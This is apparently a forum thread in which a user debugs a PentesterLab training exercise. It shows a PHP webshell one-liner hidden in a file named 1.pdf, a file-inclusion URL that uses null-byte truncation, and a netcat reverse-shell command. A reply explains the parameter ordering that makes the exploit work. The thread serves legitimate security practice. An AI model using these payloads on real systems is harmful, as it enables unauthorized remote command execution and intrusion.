I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this:

echo system($_GET["cmd"]);

Now I want to create a reverse shell using nc with following commands, but it does not work properly:

index.php?page=uploads/1.pdf%00&cmd=/bin/nc 8001 -e /bin/bash

If I input commands at then enter, nothing was output.

While, if I run the following commands directly in the VM(the target server), it connects to the attacker properly:

/bin/nc 8001 -e /bin/bash

Output of commands are properly echoed at

I wonder why netcat works in VM properly but does not work in webshell?

Anyone's help is appreciated, thanks.

  • What does the apache logs say? Also, do you see the process in "ps aux"? – Dog eat cat world Apr 9 '14 at 6:51
  • there's no nc in "ps aux | grep nc", and I can't access /var/apache2/log because I don't have enough authority, with a warning "permission denied" – Memory Apr 9 '14 at 9:12
  • Ok, think I've spotted something. You probably don't need the %00 in your query. How does it work without it? – Dog eat cat world Apr 9 '14 at 12:13
  • 1
    The %00 is indeed neccessary to truncate the default extension '.php'. It returned an error without %00, "Warning: include(uploads/1.pdf.php): failed to open stream: No such file or directory in /var/www/index.php on line 28 Warning: include(): Failed opening 'uploads/1.pdf.php' for inclusion (include_path='.:') in /var/www/index.php on line 28 " – Memory Apr 10 '14 at 3:05
  • You are right, my lazy eye did not spot it was part of the GET parameters – Dog eat cat world Apr 14 '14 at 12:49

Put your cmd parameter before the null byte injection in the exploit URL. Null will cause your query string to terminate early.

|improve this answer|||||

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.